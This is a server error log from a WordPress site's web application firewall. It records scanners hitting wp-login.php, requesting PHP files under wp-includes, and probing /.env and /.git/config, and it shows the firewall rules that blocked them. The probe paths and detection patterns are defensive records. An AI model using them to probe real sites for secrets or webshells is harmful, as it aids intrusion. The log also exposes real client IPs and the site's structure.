[Mon Jan 12 23:07:03.494058 2026] [:error] [pid 48213:tid 48235] [client 45.12.18.180:50360] [client 45.12.18.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.12.18.180, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWUOF2RmaItaLCBvAhgW4QAAANQ"]
[Tue Jan 13 00:02:20.727010 2026] [:error] [pid 48106:tid 48182] [client 191.252.186.12:49130] [client 191.252.186.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 191.252.186.12, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWUbDO_rz8jTZY4aXpSQJwAAAI8"]
[Tue Jan 13 00:59:39.294696 2026] [:error] [pid 51896:tid 51900] [client 159.198.46.173:34356] [client 159.198.46.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.198.46.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWUoe92Y52W2afNXn_WvZAAAAkE"]
[Tue Jan 13 01:50:00.559906 2026] [autoindex:error] [pid 48105:tid 48155] [client 144.91.111.74:49269] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Jan 13 02:37:38.264933 2026] [autoindex:error] [pid 48105:tid 48158] [client 4.197.89.35:60336] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Tue Jan 13 02:37:58.140342 2026] [autoindex:error] [pid 51986:tid 52031] [client 4.197.89.35:12374] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Tue Jan 13 02:38:02.862539 2026] [autoindex:error] [pid 48105:tid 48144] [client 4.197.89.35:60336] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Tue Jan 13 02:38:02.883348 2026] [autoindex:error] [pid 48105:tid 48164] [client 4.197.89.35:60336] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Tue Jan 13 02:38:02.900469 2026] [:error] [pid 48105:tid 48154] [client 4.197.89.35:60336] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWU_ijbe4SdLfSmtJe2_9AAAAE4"], referer: https://www.google.com/
[Tue Jan 13 02:38:02.939565 2026] [autoindex:error] [pid 48105:tid 48143] [client 4.197.89.35:59239] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Tue Jan 13 02:38:02.961189 2026] [:error] [pid 48105:tid 48162] [client 4.197.89.35:59239] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/buttons/index.php"] [unique_id "aWU_ijbe4SdLfSmtJe2_9gAAAFY"], referer: https://www.bing.com/
[Tue Jan 13 02:38:02.993139 2026] [:error] [pid 51956:tid 51971] [client 4.197.89.35:61084] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/gallery/index.php"] [unique_id "aWU_ikb_j3zpZfEgGM9I0gAAAs0"], referer: https://www.yahoo.com/
[Tue Jan 13 02:38:03.027839 2026] [:error] [pid 48106:tid 48186] [client 4.197.89.35:61092] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/list-item/index.php"] [unique_id "aWU_i-_rz8jTZY4aXpSf9gAAAJM"], referer: https://www.google.fr/
[Tue Jan 13 02:38:03.060076 2026] [:error] [pid 51896:tid 51910] [client 4.197.89.35:60737] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "aWU_i92Y52W2afNXn_W4dQAAAks"], referer: https://www.google.fr/
[Tue Jan 13 02:38:03.094069 2026] [:error] [pid 51986:tid 52036] [client 4.197.89.35:61628] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "aWU_ixiI5CoFGIbwGZaY0AAAA1U"], referer: https://www.google.de/
[Tue Jan 13 02:38:03.127763 2026] [:error] [pid 51896:tid 51919] [client 4.197.89.35:60801] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/search/index.php"] [unique_id "aWU_i92Y52W2afNXn_W4dgAAAlQ"], referer: https://duckduckgo.com/
[Tue Jan 13 02:38:03.160721 2026] [:error] [pid 51896:tid 51900] [client 4.197.89.35:61025] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aWU_i92Y52W2afNXn_W4dwAAAkE"], referer: https://www.bing.com/
[Tue Jan 13 02:38:03.202824 2026] [:error] [pid 48213:tid 48222] [client 4.197.89.35:61625] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aWU_i2RmaItaLCBvAhguCQAAAMc"], referer: https://www.google.fr/
[Tue Jan 13 02:38:03.236255 2026] [:error] [pid 51986:tid 52020] [client 4.197.89.35:61590] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aWU_ixiI5CoFGIbwGZaY0QAAA0U"], referer: https://www.yahoo.com/
[Tue Jan 13 02:47:21.631706 2026] [:error] [pid 9303:tid 9314] [client 54.251.180.244:47458] [client 54.251.180.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.251.180.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWVBudEoWhpeQ69gVtEoWgAAAUg"]
[Tue Jan 13 03:45:35.454492 2026] [:error] [pid 57660:tid 57738] [client 178.33.162.49:46922] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.33.162.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWVPX9MDflPZjoqTTeExJAAAAJU"]
[Tue Jan 13 04:00:33.035090 2026] [:error] [pid 57660:tid 57741] [client 45.61.52.90:34902] [client 45.61.52.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.52.90, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWVS4dMDflPZjoqTTeEzbwAAAJg"]
[Tue Jan 13 04:41:02.325835 2026] [:error] [pid 57660:tid 57729] [client 46.105.76.214:23045] [client 46.105.76.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.105.76.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWVcXtMDflPZjoqTTeE8jQAAAIw"]
[Tue Jan 13 05:21:02.014871 2026] [:error] [pid 26395:tid 26414] [client 120.71.59.24:34798] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWVlvphRkuVub9GmnFgJRAAAARE"]
[Tue Jan 13 05:35:16.746903 2026] [:error] [pid 57659:tid 57700] [client 77.68.33.104:42946] [client 77.68.33.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.68.33.104, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWVpFIpeWOFQSBXk4xq20gAAAEo"]
[Tue Jan 13 05:37:13.913322 2026] [autoindex:error] [pid 57660:tid 57719] [client 104.131.58.98:59548] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Jan 13 06:24:37.307330 2026] [:error] [pid 57756:tid 57782] [client 212.38.94.93:48654] [client 212.38.94.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.38.94.93, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWV0pRb7B3uqOEHw10nTOwAAANg"]
[Tue Jan 13 07:27:41.179610 2026] [:error] [pid 57660:tid 57730] [client 43.131.32.36:39808] [client 43.131.32.36] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWWDbdMDflPZjoqTTeFn7AAAAI0"]
[Tue Jan 13 08:14:30.388172 2026] [:error] [pid 64601:tid 64622] [client 200.152.177.24:42558] [client 200.152.177.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 200.152.177.24, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWWOZmA4qvmy2KOnZAg4ngAAAVM"]
[Tue Jan 13 09:11:24.858915 2026] [:error] [pid 64601:tid 64622] [client 18.118.108.129:52648] [client 18.118.108.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.118.108.129, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWWbvGA4qvmy2KOnZAg_OAAAAVM"]
[Tue Jan 13 10:09:53.575435 2026] [:error] [pid 64636:tid 64686] [client 54.38.241.153:35966] [client 54.38.241.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.38.241.153, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWWpcfGqpzg-cXyoK5l6DgAAAdQ"]
[Tue Jan 13 10:55:26.461491 2026] [:error] [pid 22485:tid 22494] [client 5.196.202.32:37498] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.196.202.32, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWW0HhzzbghmKib9ie9i5QAAAYc"]
[Tue Jan 13 11:23:20.389292 2026] [:error] [pid 22485:tid 22502] [client 182.42.105.85:43593] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWW6qBzzbghmKib9ie9s9AAAAY8"]
[Tue Jan 13 11:50:50.107662 2026] [:error] [pid 27597:tid 27600] [client 185.237.252.236:48642] [client 185.237.252.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.237.252.236, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWXBGj8Db8v8HoJ3n4B1BwAAAAE"]
[Tue Jan 13 12:48:31.679251 2026] [:error] [pid 22426:tid 22460] [client 83.166.133.91:46116] [client 83.166.133.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 83.166.133.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWXOn9y1Q5toryYTHgNXeQAAAMI"]
[Tue Jan 13 13:10:42.482675 2026] [:error] [pid 27597:tid 27605] [client 162.158.94.77:13439] [client 162.158.94.77] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aWXT0j8Db8v8HoJ3n4CXQQAAAAY"]
[Tue Jan 13 13:44:00.386675 2026] [:error] [pid 22389:tid 22391] [client 188.166.133.247:54224] [client 188.166.133.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.133.247, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWXboCLIB_8b411qalLwyQAAAUA"]
[Tue Jan 13 14:41:08.566876 2026] [:error] [pid 22389:tid 22413] [client 35.92.160.99:60250] [client 35.92.160.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.92.160.99, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWXpBCLIB_8b411qalL_tgAAAVY"]
[Tue Jan 13 14:58:31.595378 2026] [:error] [pid 27597:tid 27613] [client 170.106.181.163:40252] [client 170.106.181.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWXtFz8Db8v8HoJ3n4DDJAAAAA4"]
[Tue Jan 13 15:39:53.137677 2026] [:error] [pid 27597:tid 27620] [client 54.38.49.49:55394] [client 54.38.49.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.38.49.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWX2yT8Db8v8HoJ3n4DKpgAAABU"]
[Tue Jan 13 16:38:17.407998 2026] [:error] [pid 22389:tid 22402] [client 13.210.17.205:58920] [client 13.210.17.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.210.17.205, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWYEeSLIB_8b411qalIeKwAAAUs"]
[Tue Jan 13 17:38:08.363209 2026] [:error] [pid 22485:tid 22496] [client 51.68.188.254:34858] [client 51.68.188.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.68.188.254, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWYSgBzzbghmKib9ie_SwwAAAYk"]
[Tue Jan 13 19:05:23.678277 2026] [:error] [pid 33727:tid 33750] [client 43.159.140.236:51892] [client 43.159.140.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWYm86HONsygso2w0OPH2gAAARU"]
[Tue Jan 13 20:35:10.620235 2026] [:error] [pid 22389:tid 22403] [client 44.199.126.214:47258] [client 44.199.126.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 44.199.126.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWY7_iLIB_8b411qalJQoAAAAUw"]
[Tue Jan 13 21:02:19.021772 2026] [:error] [pid 22425:tid 22437] [client 45.144.212.169:62033] [client 45.144.212.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aWZCW3LEE_SEuOZ0WBT2zgAAAIY"]
[Tue Jan 13 21:34:16.394150 2026] [:error] [pid 33727:tid 33733] [client 51.159.214.31:42144] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.159.214.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWZJ2KHONsygso2w0OPwTQAAAQQ"]
[Tue Jan 13 21:35:05.024234 2026] [:error] [pid 22485:tid 22494] [client 4.241.185.221:43521] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/avtst.php"] [unique_id "aWZKCRzzbghmKib9ie_72gAAAYc"]
[Tue Jan 13 21:35:07.325792 2026] [:error] [pid 49677:tid 49701] [client 4.241.185.221:47516] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/avtst.php"] [unique_id "aWZKC_iKiDrYd_02VZowYwAAAFQ"]
[Tue Jan 13 21:35:09.291634 2026] [:error] [pid 22426:tid 22467] [client 4.241.185.221:50185] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/avtst.php"] [unique_id "aWZKDdy1Q5toryYTHgO7wgAAAMk"]
[Tue Jan 13 21:35:12.043608 2026] [:error] [pid 27597:tid 27617] [client 4.241.185.221:46479] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/avtst.php"] [unique_id "aWZKED8Db8v8HoJ3n4ALnQAAABI"]
[Tue Jan 13 21:35:16.613712 2026] [:error] [pid 49677:tid 49704] [client 4.241.185.221:20482] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inde.php"] [unique_id "aWZKFPiKiDrYd_02VZowZAAAAFc"]
[Tue Jan 13 21:35:18.599937 2026] [:error] [pid 22426:tid 22463] [client 4.241.185.221:46473] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inde.php"] [unique_id "aWZKFty1Q5toryYTHgO7xAAAAMU"]
[Tue Jan 13 21:35:21.010225 2026] [:error] [pid 22485:tid 22509] [client 4.241.185.221:48857] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inde.php"] [unique_id "aWZKGRzzbghmKib9ie_73gAAAZY"]
[Tue Jan 13 21:35:21.708913 2026] [:error] [pid 27597:tid 27615] [client 4.241.185.221:49130] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inde.php"] [unique_id "aWZKGT8Db8v8HoJ3n4ALqQAAABA"]
